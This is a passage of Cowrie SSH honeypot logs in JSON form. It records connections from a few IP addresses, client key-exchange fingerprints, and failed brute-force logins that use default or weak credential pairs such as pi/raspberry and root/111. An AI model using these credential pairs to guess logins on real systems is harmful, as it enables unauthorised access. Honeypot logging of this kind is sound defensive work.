0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:46:02.698992Z","src_ip":"91.92.40.171","session":"fd8b5b5a0558","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.9","message":"Connection lost after 6.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:46:04.571716Z","src_ip":"91.92.42.133","session":"b9240150abfa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":43928,"dst_ip":"159.203.135.109","dst_port":22,"session":"b99177394a8f","protocol":"ssh","message":"New connection: 91.92.42.133:43928 (159.203.135.109:22) [session: b99177394a8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:46:05.220687Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":35258,"dst_ip":"159.203.135.109","dst_port":22,"session":"c71c16510845","protocol":"ssh","message":"New connection: 91.92.40.171:35258 (159.203.135.109:22) [session: c71c16510845]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:46:05.268093Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:46:05.348904Z","src_ip":"91.92.40.171","session":"c71c16510845","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:46:05.470767Z","src_ip":"91.92.40.171","session":"c71c16510845","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sam","password":"123456789","message":"login attempt [sam/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:46:06.111940Z","src_ip":"91.92.40.171","session":"c71c16510845","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:46:06.265148Z","src_ip":"91.92.42.133","session":"b99177394a8f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:46:06.270197Z","src_ip":"91.92.42.133","session":"b99177394a8f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"rootroot","message":"login attempt [user/rootroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:46:06.903409Z","src_ip":"91.92.40.171","session":"fd8b5b5a0558","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:46:07.213143Z","src_ip":"91.92.40.171","session":"c71c16510845","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"111","message":"login attempt [root/111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:46:08.447248Z","src_ip":"91.92.42.133","session":"b99177394a8f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.0","message":"Connection lost after 8.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:46:08.903979Z","src_ip":"91.92.40.171","session":"fd8b5b5a0558","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.3","message":"Connection lost after 4.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:46:09.555188Z","src_ip":"91.92.42.133","session":"b99177394a8f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":35296,"dst_ip":"159.203.135.109","dst_port":22,"session":"c8c419df7681","protocol":"ssh","message":"New connection: 91.92.40.171:35296 (159.203.135.109:22) [session: c8c419df7681]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:46:11.582523Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:46:11.606797Z","src_ip":"91.92.40.171","session":"c8c419df7681","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:46:11.673499Z","src_ip":"91.92.40.171","session":"c8c419df7681","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwe123","message":"login attempt [ubuntu/qwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:46:12.041423Z","src_ip":"91.92.40.171","session":"c8c419df7681","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:46:13.148820Z","src_ip":"91.92.40.171","session":"c8c419df7681","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":53604,"dst_ip":"159.203.135.109","dst_port":22,"session":"fc71dec5f30b","protocol":"ssh","message":"New connection: 91.92.42.133:53604 (159.203.135.109:22) [session: fc71dec5f30b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:46:14.856812Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:46:14.881986Z","src_ip":"91.92.42.133","session":"fc71dec5f30b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:46:14.992852Z","src_ip":"91.92.42.133","session":"fc71dec5f30b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"system","password":"12345","message":"login attempt [system/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:46:15.632411Z","src_ip":"91.92.42.133","session":"fc71dec5f30b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:46:16.951486Z","src_ip":"91.92.42.133","session":"fc71dec5f30b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":36884,"dst_ip":"159.203.135.109","dst_port":22,"session":"2868bc98e9b8","protocol":"ssh","message":"New connection: 91.92.40.171:36884 (159.203.135.109:22) [session: 2868bc98e9b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:46:18.366726Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:46:18.380453Z","src_ip":"91.92.40.171","session":"2868bc98e9b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:46:19.204554Z","src_ip":"91.92.40.171","session":"2868bc98e9b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fastuser","password":"fastuser","message":"login attempt [fastuser/fastuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:46:21.955415Z","src_ip":"91.92.40.171","session":"2868bc98e9b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":53660,"dst_ip":"159.203.135.109","dst_port":22,"session":"f39134db2456","protocol":"ssh","message":"New connection: 91.92.42.133:53660 (159.203.135.109:22) [session: f39134db2456]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:46:22.184954Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:46:22.492896Z","src_ip":"91.92.42.133","session":"f39134db2456","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:46:22.496113Z","src_ip":"91.92.42.133","session":"f39134db2456","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.4","message":"Connection lost after 5.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:46:23.788678Z","src_ip":"91.92.40.171","session":"2868bc98e9b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":36930,"dst_ip":"159.203.135.109","dst_port":22,"session":"97ad65e05a64","protocol":"ssh","message":"New connection: 91.92.40.171:36930 (159.203.135.109:22) [session: 97ad65e05a64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:46:24.009983Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:46:24.026470Z","src_ip":"91.92.40.171","session":"97ad65e05a64","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:46:24.122844Z","src_ip":"91.92.40.171","session":"97ad65e05a64","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"AA123456","message":"login attempt [root/AA123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:46:24.245192Z","src_ip":"91.92.42.133","session":"f39134db2456","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"raspberry","message":"login attempt [pi/raspberry] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:46:24.516052Z","src_ip":"91.92.40.171","session":"97ad65e05a64","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:46:25.712350Z","src_ip":"91.92.42.133","session":"f39134db2456","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:46:25.847928Z","src_ip":"91.92.40.171","session":"97ad65e05a64","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":39062,"dst_ip":"159.203.135.109","dst_port":22,"session":"c80c8a6a3fbe","protocol":"ssh","message":"New connection: 91.92.42.133:39062 (159.203.135.109:22) [session: c80c8a6a3fbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:46:30.160908Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:46:30.211421Z","src_ip":"91.92.42.133","session":"c80c8a6a3fbe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:46:30.317201Z","src_ip":"91.92.42.133","session":"c80c8a6a3fbe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":47816,"dst_ip":"159.203.135.109","dst_port":22,"session":"1856b7ecf7a5","protocol":"ssh","message":"New connection: 91.92.40.171:47816 (159.203.135.109:22) [session: 1856b7ecf7a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:46:30.416368Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:46:30.420611Z","src_ip":"91.92.40.171","session":"1856b7ecf7a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.19.67.181","src_port":59158,"dst_ip":"159.203.135.109","dst_port":22,"session":"41cf0e9ef4cc","protocol":"ssh","message":"New connection: 46.19.67.181:59158 (159.203.135.109:22) [session: 41cf0e9ef4cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:46:30.510225Z"}
